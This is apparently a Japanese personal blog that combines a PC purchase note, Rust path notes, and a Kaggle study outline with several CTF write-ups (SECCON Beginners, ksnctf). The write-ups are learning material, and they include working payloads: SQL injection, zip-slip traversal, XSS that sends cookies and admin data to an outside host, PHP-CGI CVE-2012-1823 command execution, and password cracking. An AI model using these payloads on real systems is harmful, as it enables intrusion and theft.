新マシン導入検討

業務 + 趣味用に新しいマシンの購入を検討しました。その際のお気持ちのメモです。

要件としては以下のあたりです。

  • シングルスレッドとマルチスレッド性能ともに現在使っている MacBook Pro 2019 モデルの性能を上回ること
  • グラフィックがヘビーなゲームが動作すること
  • GPU機械学習に利用できること
  • ryzen 使いたい

欲を言うと AMD ryzen 9 5900x + Nvidia GeForce RTX 3080 という構成が望ましいですが、品薄で手に入らないのと予算オーバ気味なので躊躇しています。 おそらく AMD ryzen 9 5800x + Nvidia GeForce RTX 3070 の構成で落ち着くような気がしています。 自作はまだハードルが高いので、BTO であたりをつけました。

TSUKUMO G-GEAR GA5A-H204/XT

SECCON for beginners 2020 writeup

Seccon 2020 に bigtreefalcon というチーム名で参加しました。 以下、僕が主に取り組んでいた web 問題部分についての Write up です。

[Web] Spy

問題概要

従業員のログインフォームと flask サーバのコード (app.py) 、及びログインサービスを利用しているユーザの候補 (employees.txt) が与えられる。 候補ユーザの中から実際にサービスを利用しているユーザを答えとして送信する。

ポイント

  • タイミング攻撃

解法

app.py の中のログイン処理を読む。 ポイントとなるのは以下の部分。

  1. / に POST された form data name と password を読み取る
  2. name をもつ user を DB から探す
  3. user が存在しない場合は、処理にかかった時間を含むページを返す
  4. user が存在した場合は、 password をハッシュ化して DB に保存されているハッシュ化済みパスワードと比較する
  5. 処理にかかった時間を含むページを返す

ハッシュ化は、コメント中に adds salt and performs stretching so many times と書かれているとおり、時間のかかる処理だと予想できる。 今回はユーザが存在する場合のみハッシュ化が行われる。 したがって、ユーザごとに処理にかかった時間を比較すれば、ユーザがサービスを利用しているかどうか分かる。 今回は丁寧にも処理にかかった時間を html に吐き出してくれているので、その部分を見れば良い。

for e in $(cat employees.txt); do
  echo $e;
  curl -s -X POST -F name=$e -F password=hoge https://spy.quals.beginners.seccon.jp | grep 'It took'
done

ユーザの有無によって処理時間のオーダーが違っていて、

  • 0.1s 〜 1s ... DB にユーザが存在する = ユーザがサービスを利用している
  • 0.0001s 〜 0.001s ... DB にユーザが存在しない = ユーザがサービスを利用していない

と判定できる。

[Web] Tweetstore

単語と件数を与えるとツイートの様なデータを検索できるフォームと、そのサーバサイドのコード (webserver.go) が与えられる。

ポイント

  • SQL インジェクション

解法

まず、何が flag となるのかを探す。 webserver.go を読んでみると、 DB のユーザ名が flag になっていることが分かる。

dbuser := os.Getenv("FLAG")

また、 sql を生成している部分を読むと、フォームの文字列を concat して生成ていることが分かる。 このタイプは SQL インジェクションが有効。 実際に search word フォームに ' -- などと入力すると internal server error が発生するので、 SQL インジェクションで間違いさなそうだと分かる。

sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"

ただし今回は、 '\\' に replace する処理が含まれている。 これでは、例えば単に '; -- を入力しても \\'; -- に replase され Go で escape され \'; -- となりさらに SQL で escape され '; -- となってしまい、前の引用符を閉じることができない。 そこで、 \\'; -- とすることで \\\\'; -- に replase され Go で escape され \\'; -- となりさらに SQL で escape され \'; -- となる。 これはただの円マーク + '; -- となるので、 SQL の文法的に正しいクエリを発行させられる。

これを利用して、以下のように db user 名を返させれば良い。

\\' or 1=0; SELECT usename, usename, now() FROM pg_user; --

[Web] unzip

概要

zip をアップロードすると中身のファイル名とその内容を表示してくれるwebページ、及びそのサーバサイドのコード (index.php) と (docker-compose.yml) が与えられる。

ポイント

解法

docker-compose.yml を読むと、php-fpm container の /flag.txt にフラグを含むファイルがマウントされていることが分かる。

また、 index.php を読むと、

  • zip ファイルをアップロードすると、 /uploads/セッションid/ 以下に解答され、 zip に含まれるファイル名が $_SESSION["files"] に記録される
  • https://unzip.quals.beginners.seccon.jp/?filename=ファイル名 にアクセスすると /uploads/セッションid/ファイル名 の内容を表示する

ということが分る。

したがって、ファイル名として ../../flag.txt を与えるとフラグを表示させることができる。 以下のようにして zip を作成してアップロードした後、 https://unzip.quals.beginners.seccon.jp/?filename=../../flag.txt にアクセスすれば良い。

touch ../../flag.txt
zip hoge.zip ../../flag.txt

../ 等を含む名前のファイルをアーカイブしたファイルに関わる脆弱性を zip slip 脆弱性というらしい。

[Web] profiler

概要

ユーザ登録・ログインページ (/) 、プロファイル編集ページ (/profile)、フラグ表示ページ (/flag) が与えられる。 ユーザ登録を済ませると token が表示される。 ログインした後プロファイル編集ページを訪れると、この token を使ってプロファイルを編集できる。 プロファイルページの「Get FLAG」ボタンでフラグ表示ページを訪れると、 Sorry, your token is not administrator's one. This page is only for administrator(uid: admin). と表示される。

ポイント

  • GraphQL

解法

ヒントの通り、難読化された *.js ファイルを読み解く必要はない。ヒントが親切。

flag ページのメッセージから、 admin の token を取得することがポイントになりそうと予想できる。

通信を覗いてみると、 {"query":"query { me {\n uid\n name\n profile\n }\n }"} のようなデータを POST していることが分かる。 これは GraphQL のクエリである。

実は GraphQL は introspection query と呼ばれる特定のクエリをエンドポイントに投げることで、エントリーポイントや型情報の一覧 (schema) を取得することができる。 例えば node.js だと graphql-js を使って schema を取得できる。

const fetch = require('node-fetch');
const {
  getIntrospectionQuery,
  buildClientSchema,
  printSchema,
} = require('graphql');

const GRAPHQL_ENDPOINT = 'https://profiler.quals.beginners.seccon.jp/api';

async function main() {
  try {
    const response = await fetch(
      GRAPHQL_ENDPOINT,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ query: getIntrospectionQuery() }),
      }
    );
    const { data } = await response.json();
    const schema = buildClientSchema(data);
    console.log(printSchema(schema));
  } catch (err) {
    console.error(err);
  }
}

main();

取得できるスキーマは以下の通り。

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

このスキーマから得られた情報から、

  1. ブラウザからユーザ登録
  2. someone(uid: ID!): User を使って admin の token を取得
  3. updateToken(token: String!): Boolean! を使って自分の token を admin と同じものに変更する
  4. ブラウザから flag ページにアクセスする

とするとフラグが取得できる。

# 先にブラウザからユーザ登録する

curl -sS -X POST -H "Content-Type: application/json" -d '{"query":"query { someone(uid: \"admin\") { uid name profile token } }"}' https://profiler.quals.beginners.seccon.jp/api
{"data":{"updateToken":false}}
curl -sS -X POST -H "Content-Type: application/json" -b 'session=セッションid;'  -d '{"query":"mutation { updateToken(token: \"前のクエリで取得したadminのトークン\") }"}' https://profiler.quals.beginners.seccon.jp/api
{"data":{"updateToken":true}}

# この後 https://profiler.quals.beginners.seccon.jp/flag にブラウザでアクセスするとフラグが取得できる

[Web] Somen

概要

そうめんオススメフォームとサーバサイドのコード (index.php) とクローラのコード (worker.js) が与えられる。 フォームに hoge を入力すると /?username=hoge をフラグを cookie にセットしたクローラが訪れてくれる。

ポイント

  • XSS
  • Content Security Policy (CSP)

解法

脆弱性は2箇所ある。

  • headタグ内にユーザ入力をエスケープなしで出力
  • id 属性が message の要素の innerHTML にユーザ入力を含む文字列をエスケープなしで出力

ただし、いくらかのガードもなされている。

  • 別 js ファイルを読み込んで、ユーザ入力が /^[a-zA-Z0-9]*$/ にマッチしない場合は別URLに飛ばす処理
  • Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='

1つめのガードは、入力の最後を <script> で終わらせることで回避できる。

2つめのガードは、 strict-dynamic に着目して回避する。 strict-dynamic以下のような特徴 がある。

The key super power of strict-dynamic is that it will allow /script-loader.js to load additional scripts via non-"parser-inserted" script elements.

この特徴を使うと、以下の入力で XSS ができて、 mydomain.com でクローラの cookie を受け取ることができる。

location.href=`http://mydomain.com/?${document.cookie}`//</title><script id="message"></script><script>

ちなみに、本番では解けなかった。 https://csp-evaluator.withgoogle.com/ で対象ページの CSP を調べたら base-url [missing] と教えてくれたので、 <base> タグを使って頑張っていたけど、1つめのガードを外すことしかできなかった。

rust の std::path::Path のつまづきポイント

rust の std::path::Path はパスを扱うための標準ライブラリです。 std::path::Path を使う上でつまづきそうなポイントをまとめました。

動作確認は rustc 1.43.0 (4fb7144ed 2020-04-20) で行いました。

/ or \

Unix では / のみ、 Windows では \/ の両方が separator として認識されます。

参考:

This type supports a number of operations for inspecting a path, including breaking the path into its components (separated by / on Unix and by either / or \ on Windows), extracting the file name, determining whether the path is absolute, and so on.

relative or absolute

Path が相対パス絶対パスかをチェックするために、 is_relative, is_absolute というメソッドが提供されています。

is_relative の実装 は下記のとおりです。 is_relative は単に is_absolute の逆の結果を返すように実装されています。

!self.is_absolute()

is_absolute の実装 は下記のとおりです。 is_absoluteUnixWindows によって判定の仕方が変わります。 (redox の場合も判定の仕方が違いますが、今回は省略。)

Unix の場合、 is_absolutehas_root の結果は同じで、パスが / から始まれば絶対パスと判定されます。 Windows の場合、 prefixC: など)から始まるかつ prefix 以降が \/ から始まれば絶対パスと判定されます。

self.has_root() && (cfg!(unix) || self.prefix().is_some())

Pathうしの比較

rust では 2つの struct がイコールであるかどうかの判定を PartialEq trait で実装します。

PathPartialEq の実装 は下記のとおりです。 components() の内容を比較していることが分かります。

impl cmp::PartialEq for Path {
    fn eq(&self, other: &Path) -> bool {
        self.components().eq(other.components())
    }
}

components() はパスを separator で区切ってできた Component への iterator を返します。 ただし、区切る際に、連続する / を無視する、始まり以外の . を無視する、末尾の / を無視するなどの処理が行われます。

したがって、以下の assertion はすべて true になります。

assert!(Path::new("a//b") == Path::new("a/b"));
assert!(Path::new("a/./b") == Path::new("a/b"));
assert!(Path::new("a/b/") == Path::new("a/b"));

一方で a/b/..a はイコールとして扱われません。 これは、 a/b が symlink である可能性があるからです。

assert!(Path::new("a/b/..") != Path::new("a"));

~ の扱い

~ は home ディレクトリとして展開されることはなく、 ~ という名前のパスとして扱われます。 例えば、 Path::new("~").is_dir()false となります(current dir に ~ という名前のディレクトリがなければ)。 これは、 ~/home/user などではなく、 $PWD/~ を指していることになるためです。

assert!(!Path::new("~").is_dir());

~ を home ディレクトリとして展開するには、 shellexpand などのライブラリを使うと良いです。

SECCON for beginners 2019 writeup

Beginners CTF 2019 で自分が解いた部分のまとめです。

[Web] katsudon

問題概要

rails で作られたサイトと「クーポンコード」と呼ばれる文字列を復号するソースコードが与えられる。

ポイント

解法

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a を復号する。

与えられたソースコードから、この文字列は Rails の MessageVerifier を使って復号できそうということがわかる。

MessageVerifier のドキュメント を読む。 MessageVerifierは、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されているということがわかる。 さらに、MessageVerifier の generate という関数の実装を読むと、 MessageVerifier が生成する文字列は、

"#{data}--#{generate_digest(data)}"

という形式になっていることがわかる。

secret を見つけなきゃいけないのかと思いきや、そんなことはない。 data の部分は暗号化されているわけではなくただの base64 だからである。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVUbase64 decode すると、フラグを含むデータが得られる。

[Web] Himitsu

問題概要

php で作られたサイトと、そのサイトのソースコードがまるっと与えられる。

サイト自体は、記事投稿サイトのようなもの。 記事本文に特殊な構文が使えて、 [#記事ID#] と書くと記事のタイトルを埋め込むことができる。

ポイント

解法

コンテスト中には解けなかった。。。

まずはソースコードを読んであたりをつける。 SQLのパラメタはちゃんとエスケープされているので、SQLインジェクションは無理そう。 記事の投稿内容を表示する部分でもちゃんとテンプレートエンジンを使っているので、XSSも一見無理そうに見える。 が、 part_of_crawler.js でクローラのコードが与えられていることから、 XSS を使いそうな雰囲気が漂っている。

[#記事ID#] という構文が利用できるという特殊な仕様が引っかかるので、この [#記事ID#] で他記事のタイトルを埋め込めるという機能を利用して XSS できないか? というあたりをつける。 他記事のタイトル埋込機能に着目しながらソースコードを読んでいくと、以下のようなことがわかった。

  • schema.sql
    • admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の article_key は伏せられている。
  • backend/classes/ArticleController.php
    • addArticle
      • 記事を投稿する処理。 [#記事ID#] の部分について、置き換えるタイトルの内容が投稿時にチェックされている。この時、他記事のタイトルに < > " ' といった文字が含まれている場合はエラーにされてしまう。
    • getArticle
      • 記事を表示する処理。 [#記事ID#] の部分をタイトルに置き換える処理はここで行われる。
      • 閲覧できる記事には特に制限がかかっておらず、 admin の記事であっても article_key さえわかればアクセスできる。
  • backend/classes/ArticleMapper.php
    • createArticle
      • 記事を DB 上に作成する処理。新規投稿時の article_key は、 $article_key = md5($username . $created_at . $title); のように、ユーザ名、作成時刻、タイトルをつなげた文字列のハッシュ値が設定される。

以上のことから、 他記事のタイトル埋込機能を使って XSS を起こし、 admin の記事の article_key を見つける ことを目指す。 このために、以下のような2種類の記事を作成する。

  • 記事A
    • title: 適当
    • abstract: 適当
    • body: [#記事BのID#]
  • 記事B
    • title: XSS で実行させたい内容
    • abstract: 適当
    • body: 適当

この2種類の記事を作成した上で、 admin を記事Aにアクセスさせて XSS のコードを実行させる。

ここで大事なのは、記事を作成する順番である。 記事Bの投稿・送信 -> 記事Aの投稿・送信 の順に行うと、記事Aの作成時に addArticle のチェック処理によってエラーになってしまう。 これを回避するために、記事の作成が「投稿」と「送信」の2段階になっていることを利用して、

(1) 記事Aの投稿 -> (2) 記事Bの投稿・送信 -> (3) 記事Aの送信

という手順で2つの記事を作成する。 (1) の時点では記事Bが存在していないので、 addArticle のチェック処理を通過することができる。

ここで問題となるのが、(1) の時点で記事BのIDを知ることができるかどうかだが、実はこれは以下のようにすれば可能である。 記事IDは $article_key = md5($username . $created_at . $title); というコードで設定されている。 username はユーザ名、 titleXSS で実行させたい内容なので、 (1) の時点で決めておける。 created_at$created_at = date("Y/m/d H:i"); というコードで設定されていて、 年/月/日 時:分 というフォーマットである。 秒が含まれていないことから、何時何分に (2) の操作を行うか予め決めておけば、 created_at も予め決めておくことができる。 したがって、username , title , created_at を全て (1) の時点で決めておけるので、記事Bの article_key も (1) の時点で事前に算出できる。

次に、 XSS のコードの中身を考える。 目標は、admin の記事の article_key を見つけること。 今回は以下のようなスクリプトを作った。

<script>
const run = async () => {
  let content;

  try {
    const resp = await fetch("https://himitsu.quals.beginners.seccon.jp/mypage");
    content = await resp.text();
    content = content.match(/[0-9a-f]{32}/g).join();
  } catch (err) {
    content = err.stack || err.message;
  }

  const urlObj = new URL("<自分のサーバのURL>");
  const params = new URLSearchParams();
  params.append("d", content);
  urlObj.search = params.toString();

  await fetch(urlObj.toString());
};

run();
</script>

このスクリプトでは、

  1. https://himitsu.quals.beginners.seccon.jp/mypage にアクセスし、 admin の記事一覧ページの内容を取得する
  2. 正規表現を使って記事一覧ページの内容から article_key に該当する部分だけを取り出す
  3. 取り出した article_key を GET parameter として自分のサーバに送る

ということをしている。 このスクリプトの改行を取り除くなどしたものを記事Bのタイトルとし、上記の (1) 〜 (3) の手順を行えば、 admin の記事の article_key を自分のサーバに送信することができる。 あとは、得られた article_key の記事のURL ( https://himitsu.quals.beginners.seccon.jp/articles/${article_key} ) にブラウザ等でアクセスすれば、フラグを含む記事の本文を確認することができる。

[Reversing] [warmup] Seccompare

ltrace ./seccompare hoge

[Crypto] [warmup] So Tired

問題概要

すごく長い base64 文字列が記録されたファイルが与えられる。

ポイント

解法

与えられたファイルを base64 decode すると zlib compressed data が出来上がる。 それを解凍するとまた base64 文字列が記録されたファイルが出て来る。

base64 decode -> zlib 解凍 という作業をひたすら繰り返すと flag にたどり着く。

ksnctf - 5 Onion を彷彿とさせる問題だった。

[Crypto] Party

問題概要

2つのファイルが与えられる。

  • encrypt.py ... 暗号化スクリプト
  • encrypted ... encrypt.py の出力

ポイント

  • mod

解法

encrypt.py を読み解くと、 encrypted の内容が、ランダムな値とそれを暗号化した値のペア3つで有ることがわかる。 このペアを (x0, y0), (x1, y1), (x2, y2) とする。

暗号化関数を F とすると、 x と y の関係は y = F(x) となる。 F の中身は、ソースコードより、 y = F(x) = coeff[0] + coeff[1] * x + coeff[2] * x2 である。 coeff[0] の部分が求まれば、フラグを求めることができる。

coeff[0] は、もし coeff[0] が x の倍数でなければ、上記の式より、 coeff[0] = y % x と求められる。 encrypted ファイルに記録された (x0, y0), (x1, y1), (x2, y2) より、 y0 % x0, y1 % x1, y2 % x2 の値はどれも 175721217420600153444809007773872697631803507409137493048703574941320093728 となった。

あとは、以下のようにして数値を byte 列に戻せばフラグをゲットできる。

from Crypto.Util.number import long_to_bytes

print(long_to_bytes(175721217420600153444809007773872697631803507409137493048703574941320093728))

[Misc] Dump

問題概要

  • tcpdump ファイルが与えられる

ポイント

解法

まずは tcpdump のファイルを wireshark で開く。 HTTP でなにやら通信が行われていることがわかる。 HTTP の通信の内容を File > Export objects > HTTP から復元すると、以下の2つのファイルが復元できる。

  • webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
  • webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag

ファイル名から察するに、これらはそれぞれサーバ上で hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flagls -l /home/ctf4b/flag を実行した結果だと予想できる。 さらに、 hexdump のオプションの部分を読み解くと、1つめのファイルには /home/ctf4b/flag の内容を 1 byte ごとに8進数で表した結果が含まれているということがわかる。 復元したファイルは html 形式になっていて、その中の <pre> タグで囲まれた部分が結果になっているようなので、 hexdump の結果の部分だけを取り出して hexdump.txt として保存しておく。

つぎに、 hexdump の結果から /home/ctf4b/flag にあったファイルを復元する。 python だったら以下のような感じで復元できる。

with open('./hexdump.txt', 'r') as f:
    arr = f.read().split()

byte_arr = bytes(map(lambda x: int(x, 8), arr))

with open('./flag', 'wb') as f:
    f.write(byte_arr)

復元した flag ファイルの形式を file コマンドで調べると gzip 形式であることがわかる。 これを回答すると flag.jpg が取り出せる。 画像の中に flag が含まれていましたとさ。

[Misc] Sliding puzzle

問題概要

netcat 越しに sliding puzzle が与えられる。

sliding puzzle というのは、

----------------
|  0 |  2 |  3 |
|  6 |  7 |  1 |
|  8 |  4 |  5 |
----------------

こういうのを、ブランクを表す 0 を動かすことを繰り返して、

----------------
|  0 |  1 |  2 |
|  3 |  4 |  5 |
|  6 |  7 |  8 |
----------------

こうする問題。

操作手順を 1,3,2,0, ... ,2 のような形式で送信する。

ポイント

  • 競プロ

解法

timeout が設定されているようで、手動ではとても間に合わない。 ので、自動で解答するプログラムを作る。 ちょっとした競プロ。

tcp とやり取りする部分は ruby で、実際に問題を得部分は c++ で実装した。

問題を解く部分は、盤面の状態を幅優先探索していけば良い。 このとき、一度訪れた状態を set で管理しておいて、すでに訪れた状態からは新たに遷移しないようにすれば良い。

ソースコードこちらruby client.rb 133.242.50.201 24912 と実行すると、何十問か解いた後にフラグが表示される。

Kaggle勉強会 2019/05/24

はじめに

目的

  • kaggleコンペに参加するための基礎的なノウハウの獲得する
  • 今日知った内容を誰かにレクチャーできるようになる

今日の流れ

基本的に以下の記事に従って進めていきます。 7. まで進める予定です。

Kaggleに登録したら次にやること ~ これだけやれば十分闘える!Titanicの先へ行く入門 10 Kernel ~ - Qiita

0. Kaggleの概要

For MANABIYA

  • [ ] ユーザ登録(まだの方は https://www.kaggle.com から)

  • [ ] Overview タブ

  • [ ] Data タブ
  • [ ] Kernels タブ
  • [ ] Discussion タブ
  • [ ] Leaderboard タブ
  • [ ] Rules タブ
  • [ ] Team タブ

1. まずはsubmit! 順位表に載ってみよう

  • [ ] kernel の使い方
  • [ ] submit の仕方

2. 全体像を把握! submitまでの処理の流れを見てみよう

  1. パッケージの読み込み
    • [ ] numpy, pandas
  2. データの読み込み、データを知る
    • [ ] Data タブの確認
    • [ ] Data の読み込み
      • [ ] 形式の確認
      • [ ] 欠損値の確認
    • [ ] EDA
  3. 特徴量エンジニアリング
    • [ ] X_train, y_train, X_test, y_test の作成
  4. 機械学習アルゴリズムの学習・予測
  5. submit(提出)

3. ここで差がつく! 仮説に基づいて新しい特徴量を作ってみよう

演習

  • 新しい特徴量を作ってみよう

実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-03

4. 勾配ブースティングが最強?! いろいろな機械学習アルゴリズムを使ってみよう

演習

  • LightGBM を使ってみよう

実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-04

5. 機械学習アルゴリズムのお気持ち?! ハイパーパラメータを調整してみよう

6. submitのその前に! 「Cross Validation」の大切さを知ろう

演習

実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-05-06

7. 三人寄れば文殊の知恵! アンサンブルを体験しよう

演習

  • 他人もしくは自分の submission csv ファイルをダウンロードして、アンサンブルしてみよう

実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-07

これからどうするか?

初心者にオススメの戦い方

  1. ベースラインとなるKernelを探す
  2. 本記事の内容を参考に、ベースラインを改善する

Further reading

ksnctf writeup (problem 11 -- 20)

https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

11. Riddle

問題概要

exeが与えられます。 起動すると、クイズが4問順に出てきて、正解すると次に進めます。

  • 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
  • 2問目: What is the largest island in the world?
  • 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
  • 4問目: What is the flag?

ポイント

解法

IDA などを使ってバイナリ解析をしていきます。 mac使いの私は vagrant で構築した windows にIDAを入れて使いました。 Vagrantfile は こちら

4問目以外の正解はwikipediaなどで調べると出てきます。

  • 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
    • => 正解: Human
  • 2問目: What is the largest island in the world?
    • => 正解: Greenland
  • 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
    • => 正解: 42
  • 4問目: What is the flag?
    • => 知りません。

以下の記事を参考にフラグだけは求めましたが、精進が足りていなのでまだ理解はできていません。。

aithea.hatenablog.com

12. Hypertext Preprocessor

問題概要

謎の文字列が表示されているページが与えられる。 ページのタイトルは「Clock」。

ポイント

解法

与えられたページにアクセスすると、 2012:1823:20:19:04:25:13:31:54:45:30:27:34 のような謎の文字列が表示されます。 最初の 2012:1823 を除けば、2019年04月25日... というように「Clock」になっていそうですが、 2012:1823: は何なのでしょう。 ぐぐってみると、実はこれは CVE (Common Vulnerabilities and Exposures) の番号であるとわかります。

NVD - CVE-2012-1823php脆弱性で、 phpで立てたcgiのurlのクエリパラメタに = が含まれない場合、その文字列がコマンドラインオプションとして認識されるというものです。 つまり、 http://example.com/index.php?a+b+c にアクセスすると、 php index.php a b c が実行したこととおなじになるということです。 ヤバそうな脆弱性です。

http://ctfq.sweetduet.info:10080/~q12/index.php?-s にアクセスしてみます。 これは、 php -s index.php と同じ意味になります。 -s オプションはphpソースコードを出力するというオプションなので、ソースコードを見ることができます。 3行目に // Flag is in this directory. というヒントがあります。

脆弱性を利用して任意のコマンドを実行するにはどうすればいいでしょうか。 答えから言うと、例えば ls -la を実行する場合以下のようになります。

curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"

クエリパラメタの部分を読み解いていきましょう。 これは、 -d allow_url_include=On -d auto_prepend_file=php://input というオプションを渡したことになります。 -dphp.ini のディレクティブをコマンドライン上で定義できるオプションです。 したがって、php.ini に以下を追加したのと同じ意味になります。

allow_url_include=On
auto_prepend_file=php://input

allow_url_include=On で include するファイルをURL指定できるようになります。 auto_prepend_file=php://input php実行の最初に php://input の内容が実行されるようになります。 php://input はHTTPのリクエストbodyを指します。 以上より、先程の curl コマンドで ls -la が実行されるというわけです。

$ curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"
total 18668
dr-x--x--x 2 q12  q12      4096 Apr 25 22:50 .
drwx--x--x 3 root root     4096 Apr 25 22:50 ..
-r--r--r-- 1 q12  q12        90 Apr 25 22:50 .htaccess
-r-------- 1 q12  q12        22 Apr 25 22:50 flag_flag_flag.txt
-r-xr-xr-x 1 q12  q12       600 Apr 25 22:50 index.php
-r-xr-xr-x 1 q12  q12  19093315 Apr 25 22:50 php.cgi

<!DOCTYPE html>
<html>
  <head>
後略 ...

cat flag_flag_flag.txt を実行すれば、フラグがゲットできそうだということが分かります。 以下のコマンドでフラグがゲットできます。

curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"

ちなみに、PHPPHP: Hypertext Preprocessor の略なので、今回もまたタイトルがびみょーにヒントになっていたわけです。

References

13. Proverb

問題概要

ssh の user/pass が与えられる。 ホームディレクトリは以下のような感じ。

[q13@localhost ~]$ ls -la
total 48
drwxr-xr-x   2 root root  4096 Jun  1  2012 .
drwxr-xr-x. 17 root root  4096 Oct  6  2014 ..
-rw-r--r--   1 root root    18 May 11  2012 .bash_logout
-rw-r--r--   1 root root   176 May 11  2012 .bash_profile
-rw-r--r--   1 root root   124 May 11  2012 .bashrc
-r--------   4 q13a q13a    22 Jun  1  2012 flag.txt
---s--x--x   4 q13a q13a 14439 Jun  1  2012 proverb
-r--r--r--   2 root root   755 Jun  1  2012 proverb.txt
-r--r--r--   1 root root   151 Jun  1  2012 readme.txt

proverb を実行すると、 proverb.txt に書かれたことわざをランダムに1行分表示する。

ポイント

解法

proverbパーミッション---s--x--x になっています。 s は setuid を意味していて、このプログラムは実行するユーザではなくowner(今回は q13a)の権限で実行されます。 proverb.txt の代わりに flag.txt を proverb に読み込ませる事ができれば、 flag.txt の内容が表示できそうです。 これはシンボリックリンクを使うことで実現できます。

書き込み権限がある /tmp に移動して、適当なディレクトリを作ります。 今回は /tmp/xxx を作ったとします。 新しく作ったディレクトリ下で以下のコマンドを実行すれば、 flag.txt を proverb.txt の代わりに表示させる事ができます。

ln -sf ~/flag.txt proverb.txt
~/proverb

14. John

問題概要

以下のような文字列が与えられる。

user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7:::
user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7:::
user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7:::
user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7:::
...
user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ポイント

解法

与えられた文字列は passwd ファイルの形式になっています。linuxをいじったことがあればピンとくるでしょう。

ただ、最後の行だけ毛色がちがっていて、問題のヒントになっています。 「SHA512 is strong」 という文字列と http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt という URL が読み取れます。 URLの方は単語が羅列された辞書ファイルになっています。

ここで、問題タイトルの「John」に着目します。 「John sha512」などでぐぐると、 John the ripper というパスワード解析ツールが存在することが分かります。 どうやら、 john に先のURLの単語ファイルを辞書として与えて問題文のパスワードをクラックすれば良さそうです。

以下のコマンドで john を使って passwd ファイルの暗号化されたパスワードを解析することができます。

cd path/to/john
cd run
./john --wordlist=<単語ファイルのパス> <問題文を保存したファイルのパス> # 1分くらいで解析が終わる

解析結果は以下のコマンドで確認できます。

./john --show <問題文を保存したファイルのパス>

解析結果は下記のとおりです。 解析されたパスワードの頭文字をつなげるとフラグになります。

user00:FREQUENT:15491:0:99999:7:::
user01:LATTER:15491:0:99999:7:::
user02:ADDITIONAL:15491:0:99999:7:::
user03:GENDER:15491:0:99999:7:::
user04:__________:15491:0:99999:7:::
user05:applies:15491:0:99999:7:::
user06:SPIRITS:15491:0:99999:7:::
user07:independent:15491:0:99999:7:::
user08:ultimate:15491:0:99999:7:::
user09:JENNY:15491:0:99999:7:::
user10:HELD:15491:0:99999:7:::
user11:SUFFERS:15491:0:99999:7:::
user12:LEAVE:15491:0:99999:7:::
user13:floating:15491:0:99999:7:::
user14:zecht:15491:0:99999:7:::
user15:opinion:15491:0:99999:7:::
user16:QUESTION:15491:0:99999:7:::
user17:karaoke:15491:0:99999:7:::
user18:strange:15491:0:99999:7:::
user19:zero:15491:0:99999:7:::
user20:DELIGHT:15491:0:99999:7:::

21 password hashes cracked, 1 left

ちなみに、john を mac でビルドする / brew で入れる のはいずれもうまくいきませんでした。 linux で john 1.9.0 のソースをビルドして使用するのがおすすめです。

ksnctf writeup (problem 1 -- 10)

https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

2. Easy Cipher

定番のcaesar暗号です。 python の codecs ライブラリを使うなどの方法でデコードします。

3. Crawling Chaos

問題概要

http://ksnctf.sweetduet.info/q/3/unya.html が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。

ポイント

解法

unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。

